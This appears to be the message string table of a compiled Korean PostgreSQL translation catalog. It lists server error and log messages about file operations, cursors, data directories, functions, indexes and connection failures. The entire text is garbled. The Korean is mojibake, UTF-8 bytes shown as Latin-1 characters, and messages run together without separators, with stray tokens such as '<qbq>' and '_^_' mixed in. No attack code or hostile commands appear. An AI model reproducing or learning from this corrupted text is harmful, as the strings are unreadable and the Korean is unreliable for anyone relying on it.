%s"%s" 디렉터리를 삭제할 수 ì—†ìŒ: %m"%s" 파ì¼ì„ 삭제할 수 ì—†ìŒ: %m"%s" 파ì¼ì„ 삭제할 수 ì—†ìŒ: %s
"%s" 디렉터리를 삭제할 수 ì—†ìŒ: %s
"%s" 옛 잠금 파ì¼ì„ 삭제할 수 ì—†ìŒ: %m"%s" 심벌릭 ë§í¬ë¥¼ 삭제할 수 ì—†ìŒ: %m"%s" ì´ë¦„ì˜ two-phase ìƒíƒœì •ë³´ 파ì¼ì„ 삭제할 수 ì—†ìŒ: %m"%s" 파ì¼ì„ "%s" 파ì¼ë¡œ ì´ë¦„바꾸기 실패 (%u 로그 íŒŒì¼ ì´ˆê¸°í™”,세그먼트 %u): %m"%s" 파ì¼ì„ "%s" 파ì¼ë¡œ ì´ë¦„ì„ ë°”ê¿€ 수 ì—†ìŒ: %m"%s" 임시 통계 íŒŒì¼ ì´ë¦„ì„ "%s" (으)로 바꿀 수 없습니다: %mstderr 로 사용하기 위해 "%s" íŒŒì¼ ë‹¤ì‹œ 열기 실패: %m표준출력(stdout)으로 사용하기 위해 "%s" 파ì¼ì„ 여는 ë„중 실패: %mWITH HOLD 옵션으로 만든 커서는 위치를 재지정할 수 없습니다"localhost" ì´ë¦„ì˜ í˜¸ìŠ¤íŠ¸ IP를 구할 수 없습니다: %sì•„ì¹´ì´ë¸Œì—서 "%s" 복구 실패: 리턴값 %d해시-ì¡°ì¸ ìž„ì‹œ 파ì¼ì„ ë˜ê°ì„ 수 ì—†ìŒ: %m"%s" 파ì¼ì—서 seek ìž‘ì—…ì„ í•  수 ì—†ìŒ: %m%u 로그 파ì¼ì—서 세그먼트 %u, 위치 %u ì°¾ì„ ìˆ˜ ì—†ìŒ: %mtwo-phase ìƒíƒœì •ë³´ 파ì¼ì—서 seek ìž‘ì—…ì„ í•  수 ì—†ìŒ: %mí´ë¼ì´ì–¸íЏì—게 ë°ì´í„°ë¥¼ 보낼 수 없습니다: %m주소 "%s", í¬íЏ %sì˜ Ident 서버ì—게 질ì˜ë¥¼ 보낼 수 없습니다: %m%d 프로세스로 시스템신호(signal)를 보낼 수 없습니다: %m통계 수집기ì—서 사용할 소켓으로 테스트 메시지를 보낼 수 없습니다: %më™ì‹œ ì—…ë°ì´íЏ ë•Œë¬¸ì— ìˆœì°¨ì  ì•¡ì„¸ìŠ¤ê°€ 불가능합니다LDAP 프로토콜 ë²„ì „ì„ ì§€ì •í•  수 ì—†ìŒ: 오류번호 %dSSL ì†Œì¼“ì„ ì§€ì •í•  수 없습니다: %síŒŒì¼ "%s" ì˜ ê·¸ë£¹ì„ ì„¸íŒ…í•  수 없습니다: %m"%s" 디렉터리 ì—°ê²°ì„ í•  수 ì—†ìŒ: %s"%s" 디렉터리 ì—°ê²°ì„ í•  수 ì—†ìŒ: %s
íŒŒì¼ "%s" ì˜ í¼ë¯¸ì…˜ì„ 세팅할 수 없습니다: %m"%s" 디렉터리 액세스 ê¶Œí•œì„ ì§€ì •í•  수 ì—†ìŒ: %m통계 수집기ì—서 사용하는 소켓 모드를 nonblocking 모드로 지정할 수 없습니다: %mLDAP TLS ì„¸ì…˜ì„ ì‹œìž‘í•  수 ì—†ìŒ: 오류번호 %d"%s" ë°ì´í„° 디렉터리 ìƒíƒœë¥¼ 파악할 수 ì—†ìŒ: %m"%s" 디렉터리 ìƒíƒœë¥¼ 파악할 수 ì—†ìŒ: %m"%s" 파ì¼ì˜ ìƒíƒœê°’ì„ ì•Œ 수 ì—†ìŒ: %m"%s" ì´ë¦„ì˜ two-phase ìƒíƒœì •ë³´ 파ì¼ì˜ 파ì¼ì •보를 알 수 ì—†ìŒ: %m호스트 ì´ë¦„ "%s", 서비스 "%s"를 변환할 수 없습니다. 주소 : %s서비스 "%s"를 변환할 수 없습니다. 주소 : %s"%s" 디렉터리를 비울 수 ì—†ìŒ: 랩어ë¼ìš´ë“œ ë°œìƒì„¸ë§ˆí¬ì–´ 잠금 ì‹œë„ ì‹¤íŒ¨: 오류번호 %d세마í¬ì–´ ìž ê¸ˆì„ í•´ì œí•  수 ì—†ìŒ: 오류번호 %d백엔드 변수 파ì¼ì˜ view를 unmapí•  수 ì—†ìŒ: 오류 코드 %d
"%s" archive status 파ì¼ì— 쓸 수 없습니다: %m임시파ì¼ì˜ %ld ë¸”ëŸ­ì„ ì“¸ 수 ì—†ìŒ: %mbootstrap 트랜잭션 로그 파ì¼ì„ 쓸 수 ì—†ìŒ: %m"%s" íŒŒì¼ ì“°ê¸° 실패: %m"%s" 잠금 파ì¼ì— 쓸 수 ì—†ìŒ: %m서버 íŒŒì¼ "%s"ì— ì“¸ 수 없습니다: %m"%s" 임시 통계 파ì¼ì— 쓰기 실패: %mCOPY 명령으로 파ì¼ì„ 쓸 수 없습니다: %m컨트롤 파ì¼ì„ 쓸 수 ì—†ìŒ: %m"%s" íŒŒì¼ ì“°ê¸° 실패: %mhash-join 임시 파ì¼ì„ 쓸 수 없습니다: %m%u 로그 íŒŒì¼ ì“°ê¸° 실패, 세그먼트 %u, 위치 %u, ê¸¸ì´ %lu: %më¡œê·¸íŒŒì¼ ì“°ê¸° 실패: %s
"%s" 임시 파ì¼ì„ 쓸 수 없습니다: %mtwo-phase ìƒíƒœì •ë³´ 파ì¼ì„ 쓸 수 ì—†ìŒ: %m카운트 ê°’ì€ 0 보다 커야합니다서로 다른 ë°ì´í„°ë² ì´ìŠ¤ê°„ì˜ ì°¸ì¡°ëŠ” 구현ë˜ì–´ìžˆì§€ 않습니다: "%s.%s.%s"서로 다른 ë°ì´í„°ë² ì´ìŠ¤ê°„ì˜ ì°¸ì¡°ëŠ” 구현ë˜ì–´ìžˆì§€ 않습니다: %s현재 íŠ¸ëžœìž­ì…˜ì€ ì¤‘ì§€ë˜ì–´ 있습니다. ì´ íŠ¸ëžœìž­ì…˜ì„ ì¢…ë£Œí•˜ê¸° 전까지는 모든 ëª…ë ¹ì´ ë¬´ì‹œë  ê²ƒìž…ë‹ˆë‹¤í˜„ìž¬ 사용ìžëŠ” ì‚­ì œ ë  ìˆ˜ 없습니다현재 사용ìžì˜ ì´ë¦„ì€ ë°”ê¿€ 수 없습니다"%s" ì‹œí€€ìŠ¤ì˜ currval ê°’ì´ í˜„ìž¬ ì„¸ì…˜ì— ì§€ì •ë˜ì–´ 있지 않습니다"%s" ì´ë¦„ì˜ ì»¤ì„œê°€ ì´ë¯¸ 있ìŒ"%s" ì´ë¦„ì˜ ì»¤ì„œê°€ ì—†ìŒ<qbq>"%s" ì»¤ì„œì— "%s" í…Œì´ë¸”ì— ëŒ€í•œ FOR UPDATE/SHARE 참조가 ì—†ìŒ"%s" 커서ì—는 "%s" í…Œì´ë¸”ì— ëŒ€í•œ FOR UPDATE/SHARE 참조가 여러 ê°œ 있ìŒ"%s" 커서는 ì´ì „ 트랜잭션ì—서 보류ë¨ì´ 커서는 앞으로 ì´ë™ 전용입니다"%s" ë°ì´í„° 디렉터리 ì—†ìŒ"%s" ë°ì´í„° 디렉터리 액세스 ê¶Œí•œì´ ìž˜ëª» ë˜ì—ˆìŠµë‹ˆë‹¤"%s" ë°ì´í„° 디렉터리 소유주가 잘못 ë˜ì—ˆìŠµë‹ˆë‹¤.%s ìžë£Œí˜•ì€ "%s" ì¸ë±ìФ 액세스 ë°©ë²•ì„ ìœ„í•œ 기본 ì—°ì‚°ìž í´ëž˜ìФ(operator class)ê°€ 없습니다. "%s" ì´ë¦„ì˜ ë°ì´í„°ë² ì´ìŠ¤ëŠ” ì´ë¯¸ 있ìŒ"%s" ë°ì´í„°ë² ì´ìФ ì—†ìŒ"%s" ë°ì´í„°ë² ì´ìФ ì—†ìŒ, 건너 뜀"%s" ë°ì´í„°ë² ì´ìŠ¤ëŠ” pg_database í•­ëª©ì— ì—†ìŠµë‹ˆë‹¤"%s" ë°ì´í„°ë² ì´ìŠ¤ë¥¼ 다른 사용ìžê°€ 액세스하기 시작했습니다"%s" ë°ì´í„°ë² ì´ìŠ¤ëŠ” 현재 ì ‘ì†ì„ 허용하지 않습니다"%s" ë°ì´í„°ë² ì´ìŠ¤ëŠ” %uë²ˆì˜ íŠ¸ëžœìž­ì…˜ì´ ë°œìƒë˜ê¸° ì „ì— ì²­ì†Œí•´ì•¼ 합니다%s ë°ì´í„°ë² ì´ìФë°ì´í„°ë² ì´ìФ 파ì¼ë“¤ì´ 서버와 í˜¸í™˜ì„±ì´ ì—†ìŠµë‹ˆë‹¤ì •ë¦¬í•˜ëŠ” ë™ì•ˆ ë°ì´í„°ë² ì´ìФ ì •ë³´ 해시 í…Œì´ë¸”ì´ ì†ìƒ ë˜ì—ˆìŠµë‹ˆë‹¤ --- 중지함<qbq>"%s" ë°ì´í„°ë² ì´ìФì—서 랩어ë¼ìš´ë“œ ë°ì´í„° ì†ì‹¤ì„ 방지하기 위해 ë°ì´í„°ë² ì´ìŠ¤ê°€ ëª…ë ¹ì„ <qbq>수ë½í•˜ì§€ 않ìŒë°ì´í„°ë² ì´ìФ ì´ë¦„ì´ ì ë‹¹ì¹˜ 않습니다ë°ì´í„°ë² ì´ìФ 시스템 서비스를 중지했습니다ë°ì´í„°ë² ì´ìФ 시스템 셧다운 ìž‘ì—…ì´ ë¹„ì •ìƒì ìœ¼ë¡œ 종료ë˜ì—ˆìŒ; 마지막 ìš´ì˜ì‹œê°„: %së°ì´í„°ë² ì´ìФ 시스템 복구하는 ë„중 비정ìƒì ìœ¼ë¡œ ê°€ë™ ì¤‘ì§€ëœ ì‹œê°: %së°ì´í„°ë² ì´ìФ ì‹œìŠ¤í…œì´ ë¡œê·¸ 시간 %sì— ë³µêµ¬ ë„중 중지 ë˜ì—ˆìŒë°ì´í„°ë² ì´ìФ ì‹œìŠ¤í…œì´ ë¹„ì •ìƒì ìœ¼ë¡œ 종료ë˜ì—ˆìŒ; 마지막 ìš´ì˜ì‹œê°„: %së°ì´í„°ë² ì´ìФ ì‹œìŠ¤í…œì´ ì •ìƒì ìœ¼ë¡œ 종료ë˜ì§€ 못했습니다, ìžë™ 복구 ìž‘ì—…ì„ ì§„í–‰í•©ë‹ˆë‹¤ë°ì´í„°ë² ì´ìФ 시스템 마지막 ê°€ë™ ì¤‘ì§€ 시ê°: %sOID %u ë°ì´í„°ë² ì´ìФ ì—†ìŒë‚ ì§œ 범위가 벗어났ìŒ: "%s"ë‚ ì§œ/시간 í•„ë“œì˜ ê°’ì´ ë²”ìœ„ë¥¼ 벗어남: "%s"ë‚ ì§œ/시간 ê°’ "%s"ì€(는) ë” ì´ìƒ ì§€ì›ë˜ì§€ 않ìŒë‚ ìžì™€ 시간 ìž…ë ¥ì„ ìœ„í•œ "current" 는 ë”ì´ìƒ ì§€ì›í•˜ì§€ 않습니다.deadlock ë°œìƒí–ˆìŒ%s 코드ì—서 %s 코드로 변환하는 기본 변환규칙(conversion)ì€ ì´ë¯¸ 있ìŒ"%s" ì¸ì½”ë”©ì„ "%s" ì¸ì½”딩으로 변환할 기본 변환규칙(conversion)ì´ ì—†ìŒ_^_ default 표현ì‹ì€ í•˜ë‚˜ì˜ setì„ ë¦¬í„°í•˜ë©´ 안ë©ë‹ˆë‹¤default for %s%u ì‚¬ìš©ìž IDì—서 기본 권한ìžë¡œ 할당하고 있습니다???ì˜ì¡´(ì ì¸) ê¶Œí•œì´ ì¡´ìž¬í•©ë‹ˆë‹¤"%s" ëŒ€ìƒ ì¸ì½”딩 ì—†ìŒì°¨ì› ë°°ì—´ ë˜ëŠ” 하한 ë°°ì—´ì€ NULLì¼ ìˆ˜ ì—†ìŒ"%s" 디렉터리는 비어있지 ì•ŠìŠµë‹ˆë‹¤ë¡œê·¸íŒŒì¼ ìžë™ êµì²´ ê¸°ëŠ¥ì„ ê¸ˆì§€í•©ë‹ˆë‹¤(êµì²´í•˜ë ¤ë©´ SIGHUP 시그ë„ì„ ì‚¬ìš©í•¨)현재 작업 ì†Œì¼“ì˜ ì›í• í•œ ì†Œí†µì„ ìœ„í•´ 통계 수집기 ê¸°ëŠ¥ì„ ì¤‘ì§€í•©ë‹ˆë‹¤ì—°ê²°ì¢…ë£Œ: 세션 시간: %d:%02d:%02d.%03d 사용ìž=%s ë°ì´í„°ë² ì´ìФ=%s 호스트=%s%s%s0으로는 나눌수 없습니다.%s ë„ë©”ì¸ì—서는 null ê°’ì„ í—ˆìš©í•˜ì§€ 않습니다%s 개체가 ìžë™ìœ¼ë¡œ ë©ë‹¬ì•„ ì‚­ì œë¨%s 개체가 ë©ë‹¬ì•„ ì‚­ì œë¨ì‹¤í–‰ì‹œê°„: %s ms실행시간: %s ms  %s%s%s ì ‘ì†: %s작업시간: %s ms  fastpath 함수 호출: "%s" (OID %u)실행시간: %s ms  %s 구문분ì„: %s실행시간: %s ms  명령 구문: %sê°ê°ì˜ %s query 는 ê°™ì€ ìˆ˜ì˜ columns 를 가져야 한다.비어있는 암호는 í´ë¼ì´ì–¸íŠ¸ì— ì˜í•´ ëŒë ¤ë³´ëƒˆìŠµë‹ˆë‹¤%s ì¸ì½”ë”©ì„ ASCII ì¸ì½”ë”©ìœ¼ë¡œì˜ ë³€í™˜ì€ ì§€ì›í•˜ì§€ 않습니다.ì¸ì½”딩 ì´ë¦„ì´ ë„ˆë¬´ ê¹ë‹ˆë‹¤end-of-copy 마í¬ê°€ 잘못ë˜ì—ˆìŒend-of-copy 마í¬ëŠ” ì´ì „ newline 모양가 틀립니다IP 주소 지정 ì „ì— ì¤„ ëì— ë„달함ë°ì´í„°ë² ì´ìФ 지정 ì „ì— ì¤„ ëì— ë„ë‹¬í•¨ë„·ë§ˆìŠ¤í¬ ì§€ì • ì „ì— ì¤„ ëì— ë„달함역할 지정 ì „ì— ì¤„ ëì— ë„달함잠재ì ì¸ PAM ë ˆì´ì–´ì—ì„œì˜ ì—러: %sì´ë²¤íЏ ìžê²©(event qualifications)ì€ SELECT 룰(rule)ì—서 구현ë˜ì§€ 않았습니다쿼리실행ìžë£Œë½‘기왼쪽 괄호가 필요합니다.오른쪽 괄호가 필요합니다.ìžë£Œí˜• ì´ë¦„ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤ë©”ì‹œì§€ 타입 %d를 얻는 예ìƒëœ 암호 ì‘답%u 관계(%u ë°ì´í„°ë² ì´ìФ) 확장마지막 ì—´ì„ ì´ˆê³¼í•´ì„œ ë˜ ë‹¤ë¥¸ ë°ì´í„°ê°€ 있ìŒACL 설정 ì •ë³´ ëì— ëì— ì“¸ëª¨ 없는 ë‚´ìš©ë“¤ì´ ë” í¬í•¨ë˜ì–´ìžˆìŠµë‹ˆë‹¤SSL ì—°ê²° ìž‘ì—…ì— ì˜¤ë¥˜ê°€ ë°œìƒí–ˆìŠµë‹ˆë‹¤: %mpostmaster로 ì‹œê·¸ë„ ë³´ë‚´ê¸° 실패: %mfastpath 함수 호출: "%s" (OID %u)필드 위치 ê°’ì€ 0 보다 커야합니다"%s" íŒŒì¼ ì—†ìŒ, 0으로 ì½ìŒ_^_ ê³ ì •í¬ê¸° ìžë£Œí˜•ì€ PLAIN ì €ìž¥ë°©ë²•ì„ ê°€ì ¸ì•¼ë§Œ 합니다부ë™ì†Œìˆ˜ì  예외발ìƒSELECT DISTINCT, ORDER BY 표현ì‹ì„ 위해서 반드시 select list ì— ë‚˜íƒ€ë‚˜ì•¼ë§Œ 합니다"%s" 참조키(foreign key) 제약 ì¡°ê±´ì€ êµ¬í˜„ë˜ì–´ì§ˆ 수 없습니다참조키(foreign key) 제약 ì¡°ê±´ì€ ë„ë©”ì¸(domain) ì •ì˜ì— 사용할 수 ì—†ìŒ%s 외부 ë°ì´í„° 래í¼í”„레임 ëì€ UNBOUNDED PRECEDINGì¼ ìˆ˜ ì—†ìŒí”„레임 ì‹œìž‘ì€ UNBOUNDED FOLLOWINGì¼ ìˆ˜ ì—†ìŒfree space mapì€ %dê°œì˜ íŽ˜ì´ì§€ë¥¼ 할당하고 있습니다. 해당 릴레ì´ì…˜ %d"%s" 함수는 ì´ë¯¸ "%s" 스키마 ì•ˆì— ìžˆìŠµë‹ˆë‹¤ì´ë¯¸ ê°™ì€ ì¸ìˆ˜ ìžë£Œí˜•ì„ ì‚¬ìš©í•˜ëŠ” "%s" 함수가 있습니다"%s" 함수가 없습니다.FROM ì ˆ ë‚´ì˜ í•¨ìˆ˜ "%s" ì— ì§€ì›ë˜ì§€ 않는 return ìžë£Œí˜• %s ì´ ìžˆìŠµë‹ˆë‹¤."%s" 함수는 ì´ë¯¸ "%s" 스키마 ì•ˆì— ìžˆìŠµë‹ˆë‹¤AFTER ROWì—서 "%s" 함수를 실행해야 함DELETEì— ëŒ€í•´ "%s" 함수를 실행해야 함INSERTì— ëŒ€í•´ "%s" 함수를 실행해야 함INSERT ë˜ëŠ” UPDATEì— ëŒ€í•´ "%s" 함수를 실행해야 함UPDATEì— ëŒ€í•´ "%s" 함수를 실행해야 함"%s" 함수가 트리거 관리ìžì—서 호출ë˜ì§€ 않았ìŒ"close_lb" 함수는 구현ë˜ì§€ 않았습니다."dist_lb" 함수는 구현ë˜ì§€ 않았습니다."path_center" 함수는 구현ë˜ì§€ 않았습니다."poly_distance" 함수는 구현ë˜ì§€ 않았습니다.%s 함수%s 함수는 ì´ë¯¸ "%s" ìŠ¤í‚¤ë§ˆì•ˆì— ìžˆìŠµë‹ˆë‹¤%s ì´ë¦„ì˜ í•¨ìˆ˜ê°€ ì—†ìŒ%s 함수는 집계함수가 아닙니다함수 %s 는 유ì¼ì„±ì„ 가지지 못합니다(not unique)%s 함수는 "language_handler" ìžë£Œí˜•ì„ ë¦¬í„´í•´ì•¼í•©ë‹ˆë‹¤%s 함수는 리턴 ìžë£Œí˜•으로 "trigger"를 사용해야합니다_^_ %s 함수는  run-time type coercionì„ í•„ìš”ë¡œ 함_^_ %s 함수는 한 setì„ ë¦¬í„´í•¨%s(%s) 함수가 없습니다, 건너 뜀%u 함수는 너무 ë§Žì€ ì¸ìˆ˜ë¥¼ 사용하고 ìžˆìŒ (%d, 최대 %d)함수 호출 메시지는 %d ì¸ìˆ˜ë¥¼ 사용하지만, 함수는 %d ì¸ìˆ˜ê°€ 필요합니다함수 호출 메시지는 %d ì¸ìˆ˜ë¥¼ 사용하지만, 함수는 %d ì¸ìˆ˜ê°€ 필요합니다OUT 매개 변수로 ì¸í•´ 함수 ê²°ê³¼ 형ì‹ì€ %sì´ì–´ì•¼ í•¨í•¨ìˆ˜ì˜ ë¦¬í„´ ìžë£Œí˜•ì„ ì§€ì •í•´ì•¼ 합니다함수 반환 행과 쿼리 지정 반환 í–‰ì´ ì¼ì¹˜í•˜ì§€ 않ìŒí–‰ 세트 (í…Œì´ë¸”) 리턴 함수는 null ê°’ì„ ë¦¬í„´í•  수 없습니다OID %u 함수 ì—†ìŒí•¨ìˆ˜ì™€ ì—°ì‚°ìžëŠ” set ì¸ìˆ˜ë¡œëŠ” ì˜¤ì§ í•œ 개만 사용할 수 있습니다함수는 set argument ë“¤ì„ ë°›ì•„ë“¤ì¼ ìˆ˜ ì—†ìŒì¸ë±ìФ ì‹(expression)ì— ì‚¬ìš©í•˜ëŠ” 함수는 IMMUTABLE íŠ¹ì„±ì´ ìžˆì–´ì•¼í•©ë‹ˆë‹¤ì¸ë±ìФ 술어(predicate)ì—서 사용하는 함수는 IMMUTABLE íŠ¹ì„±ì´ ìžˆì–´ì•¼í•©ë‹ˆë‹¤ì „ì—­ í…Œì´ë¸”스페ì´ìŠ¤ëŠ” ë°ì´í„°ë² ì´ìŠ¤ë¥¼ ê²°ì½” í¬í•¨í•˜ì§€ 않습니다.grant ì˜µì…˜ë“¤ì€ ë¡¤ì—서만 ì§€ì •ë  ìˆ˜ 있습니다부여 ì˜µì…˜ì„ í•´ë‹¹ 부여ìžì—게 다시 부여할 수 ì—†ìŒ"%s" 그룹 ì—†ìŒí•´ì‹œ ì¸ë±ìŠ¤ëŠ” whole-index scanì„ ì§€ì›í•˜ì§€ 않ìŒì‹œê°„ "%d"ì€(는) 12ì‹œê°„ì œì— ìœ íš¨í•˜ì§€ 않ìŒident, krb5, gssapi, sspi ë° certì‹ë³„ìž(identifier)ê°€ 너무 ê¹ë‹ˆë‹¤.ì ì ˆí•˜ì§€ ì•Šì€ %%TYPE reference 입니다 (dotted name ì´ ë„ˆë¬´ ì ìŠµë‹ˆë‹¤): %sì ì ˆí•˜ì§€ ì•Šì€ %%TYPE reference 입니다 (dotted name ì´ ë„ˆë¬´ 많습니다): %s%d 번째 ë°°ì—´ ìš”ì†Œì˜ í¬ë§·ì´ ë¶€ì ì ˆí•©ë‹ˆë‹¤.%d 번째 레코드 ì—´ì—서 ìž˜ëª»ëœ ë°”ì´ë„ˆë¦¬ í¬ë§·ì´ 있습니다ì ë‹¹í•˜ì§€ ì•Šì€ qualified ì´ë¦„ 입니다 (너무 ë§Žì€ ì ì´ 있네요): %sì ë‹¹í•˜ì§€ ì•Šì€ ë¦´ë ˆì´ì…˜(relation) ì´ë¦„ 입니다 (너무 ë§Žì€ ì ì´ 있네요): %së¶€ì ì ˆí•œ í˜•ì‹ ì´ë¦„"*" ì‚¬ìš©ì´ ìž˜ëª»ë¨"%s" ë¼ì´ë¸ŒëŸ¬ë¦¬ëŠ” 사용할 수 없습니다: magic black 틀림"%s" ë¼ì´ë¸ŒëŸ¬ë¦¬ëŠ” 사용할 수 없습니다: magic black ì—†ìŒ"%s" ë¼ì´ë¸ŒëŸ¬ë¦¬ëŠ” 사용할 수 없습니다: ë²„ì „ì´ í‹€ë¦¼í´ë¼ì´ì–¸íŠ¸ìœ¼ë¡œë¶€í„°ì˜ ì™„ì „í•˜ì§€ 못한 ë©”ì‹œì§€ìž…ë‹ˆë‹¤ì•„ì§ ì™„ë£Œë˜ì§€ ì•Šì€ ì‹œìž‘ 패킷inconsistent types deduced for parameter $%d??? %04d 와 "BC"는 ìž˜ëª»ëœ ì—°ë„ ì‚¬ìš©ë²•ìž…ë‹ˆë‹¤.ìž˜ëª»ëœ ë°”ì´ë„ˆë¦¬ ìžë£Œ í¬ë§·ë°”ì¸ë“œ 매개 변수 %d ì•ˆì— ìž˜ëª»ëœ ë°”ì´ë„ˆë¦¬ ìžë£Œ 형태가 있ìŒí•¨ìˆ˜ ì¸ìˆ˜ %d ì•ˆì— ìž˜ëª»ëœ ë°”ì´ë„ˆë¦¬ ìžë£Œ í˜•ì‹ ë°œê²¬ë¨ì»¨íŠ¸ë¡¤ 파ì¼ì— ìž˜ëª»ëœ ì²´í¬ì„¬ ê°’ì´ ìžˆìŠµë‹ˆë‹¤%X/%X ìœ„ì¹˜ì˜ ë ˆì½”ë“œì˜ hole í¬ê¸°ê°€ 잘못ë˜ì—ˆìŒìž˜ëª»ëœ ìžì›ê´€ë¦¬ìž ë°ì´í„° ì²´í¬ì„¬, 위치: %X/%X 레코드통계 수집기ì—서 사용할 소켓으로 ìž˜ëª»ëœ í…ŒìŠ¤íŠ¸ 메시지가 전달 ë˜ì—ˆìŠµë‹ˆë‹¤ìž˜ëª»ëœ ì „ì²´ 길ì´, 위치: %X/%X 레코드"%s" ì¸ë±ìŠ¤ëŠ” %.0f í–‰ ë²„ì „ì„ í¬í•¨í•˜ê³  있지만, í…Œì´ë¸”ì€ %.0f í–‰ ë²„ì „ì„ í¬í•¨í•˜ê³  있습니다."%s" ì¸ë±ìŠ¤íŠ¸ %u번째 ë¸”ëŸ­ì´ ì†ìƒë˜ì—ˆìŠµë‹ˆë‹¤"%s" ì¸ë±ìŠ¤ì˜ %u번째 블럭ì—서 예ìƒì¹˜ ì•Šì€ zero pageê°€ 있습니다"%s" ì¸ë±ìФ ì—†ìŒ"%s" ì¸ë±ìФ ì—†ìŒ, 무시함"%s" ì¸ë±ìŠ¤ëŠ” "%s" í…Œì´ë¸”ì— ì—†ìŒ"%s" ì¸ë±ìŠ¤ëŠ” ìž˜ëª»ëœ í•´ì‹œ 버전임"%s" ì¸ë±ìŠ¤ëŠ” btree ì¸ë±ìŠ¤ê°€ 아닙니다"%s" ì¸ë±ìŠ¤ëŠ” 해시 ì¸ë±ìŠ¤ê°€ 아님"%s" ì¸ë±ìФì—서 ì´ ë¬¸ì œë¥¼ 복구하려면 VACUUM FULL ë˜ëŠ” REINDEX ëª…ë ¹ì„ ì‚¬ìš©í•˜ì„¸ìš”"%s" ì¸ë±ìФì—서 ì´ ë¬¸ì œë¥¼ 복구하려면 VACUUM ë˜ëŠ” REINDEX ëª…ë ¹ì„ ì‚¬ìš©í•˜ì„¸ìš”"%s" ì¸ë±ìŠ¤ëŠ” %.0f í–‰ ë²„ì „ì„ %u 페ì´ì§€ì—서 í¬í•¨í•˜ê³  있습니다.%d ì¸ë±ìŠ¤ì˜ ë²”ìœ„ë¥¼ 벗어남, 0..%d%s ì¸ë±ìФ%u/%u/%u ì¸ë±ìФì—서 ì´ ë¬¸ì œë¥¼ 복구하려면 VACUUM FULL ë˜ëŠ” REINDEX ëª…ë ¹ì„ ì‚¬ìš©í•˜ì„¸ìš”<qbq>ì¸ë±ìФ ì‹ ë° ìˆ ì–´ëŠ” ì¸ë±ì‹±ë˜ëŠ” í…Œì´ë¸”ë§Œ 참조할 수 있ìŒì¸ë±ìФ í–‰(row)ì€ %lu byte를 필요로 함, 최대 í¬ê¸°ëŠ” %luì¸ë±ìФ í–‰ í¬ê¸°ê°€ 초과ë¨: 현재값 %lu, 최대값 %lu"%s" 릴레ì´ì…˜(relation)ì—서 ì§€ì •ëœ ë£°ì—서 ìž˜ëª»ëœ ìž¬ê·€í˜¸ì¶œì´ ë°œê²¬ë˜ì—ˆìŠµë‹ˆë‹¤ìƒìœ„ í…Œì´ë¸”ì—서 지정한 "%s" ì—´ì˜ ìžë£Œí˜•ë“¤ì´ ì¼ì¹˜í•˜ì§€ 않습니다하위 í…Œì´ë¸”ì—ì„œë„ ìƒì†ëœ "%s" ì—´ì˜ ì´ë¦„ì„ ë°”ê¾¸ì–´ì•¼ 함ìƒì†í•  "%s" 릴레ì´ì…˜(relation)ì€ í…Œì´ë¸”ì´ ì•„ë‹™ë‹ˆë‹¤ìž…ë ¥ê°’ì´ ë²”ìœ„ë¥¼ 벗어났습니다.ìµëª… 복합 형ì‹ì˜ ìž…ë ¥ì´ êµ¬í˜„ë˜ì–´ 있지 않ìŒê¸°ë³¸ ê°’ì´ ìžˆëŠ” ìž…ë ¥ 매개 변수 ë’¤ì— ì˜¤ëŠ” ìž…ë ¥ 매개 변수ì—ë„ ê¸°ë³¸ ê°’ì´ ìžˆì–´ì•¼ 함"%s" í…Œì´ë¸”ì—서 ìžë£Œ 추가, 갱신 ìž‘ì—…ì´ "%s" 참조키(foreign key) 제약 ì¡°ê±´ì„ ìœ„ë°°í–ˆìŠµë‹ˆë‹¤ë¶€ì¡±í•œ ë°ì´í„°ëŠ” 메시지 ì•ˆì— ë„£ì–´ì ¸ 있습니다서버 프로세스를 실행하기 위해서 열어야할 파ì¼ë“¤ì„ 못 ì—´ê³  있습니다. 다른 프로그램ì—서 너무 ë§Žì€ íŒŒì¼ì„ ì—´ì–´ ë‘ê³  있습니다. 다른 í”„ë¡œê·¸ëž¨ë“¤ì„ ì¢€ ë‹«ê³  다시 시ë„í•´ 보십시오free space mapì„ ìœ„í•œ 공유 메모리가 부족합니다int2vector 는 너무 ë§Žì€ ìš”ì†Œë¥¼ 가지고 있습니다.정수(integer)ì˜ ë²”ìœ„ë¥¼ 벗어났습니다.ë‚´ë¶€ 오류: 알 수 없는 실시간 서버 설정 변수
"%s" ë‚´ë¶€ 함수를 ë‚´ë¶€ 검색 í…Œì´ë¸”ì—서 ì°¾ì„ ìˆ˜ 없습니다내부 í¬ê¸° %dì€(는) 전달 ê°’ 형ì‹ì— 유효하지 않ìŒinterval í•„ë“œì˜ ê°’ì´ ë²”ìœ„ë¥¼ 벗어남: "%s"ê°„ê²©ì´ ë²”ìœ„ë¥¼ 벗어남간격 ì •ë°€ë„ê°€ ë‘ ë²ˆ 지정ë¨"%s" 시간대 간격(interval time zone) 값으로 달(month)ì„ ì§€ì •í•  수 없습니다"%s" 유닛 간격(interval units)ì„ ì²˜ë¦¬í•˜ì§€ 못했습니다"%s" 유닛 간격(interval units)ì€ ì§€ì›í•˜ì§€ 않습니다간격(%d) ì •ë°€ë„는 %dì—서 %d 사ì´ì—¬ì•¼ í•¨ìž˜ëª»ëœ CLOSE 메시지 서브타입 %dCOPY 명령ì—서 ìž˜ëª»ëœ íŒŒì¼ í—¤ë”를 사용함(플래그 빠졌ìŒ)복사 íŒŒì¼ í—¤ë”ì— length ê°’ì´ ë¹ ì¡ŒìŒë³µì‚¬ íŒŒì¼ í—¤ë”ì— length ê°’ì´ ìž˜ëª»ë˜ì—ˆìŒìž˜ëª»ëœ DESCRIBE 메시지 서브타입 %dìž˜ëª»ëœ Datum í¬ì¸í„°ìž˜ëª»ëœ INTERVAL í˜•ì‹ í•œì •ìžìž˜ëª»ëœ NUMERIC í˜•ì‹ í•œì •ìžë³µì‚¬ ë°ì´í„°ì— ìž˜ëª»ëœ OID ê°’ì´ ìžˆìŒìž˜ëª»ëœ OWNED BY 옵션UNION/INTERSECT/EXCEPT ORDER BY ì ˆì´ ìž˜ëª»ë¨ìž˜ëª»ëœ XML 처리 명령잘못 ëœ ì£¼ì†Œêµ° "%s"%sì˜ ìž˜ëª»ëœ ì¸ìˆ˜: "%s"함수 호출 메시지 ì•ˆì— ìžˆëŠ” ìž˜ëª»ëœ %d ì¸ìˆ˜ í¬ê¸°ìž˜ëª»ëœ ë°°ì—´ 플래그XML 네임스페ì´ìФ ë§¤í•‘ì— ì‚¬ìš©í•  ë°°ì—´ì´ ìž˜ëª»ë¨ìž˜ëª»ëœ ë°”ì´ë„ˆë¦¬ íŒŒì¼ "%s""%s" 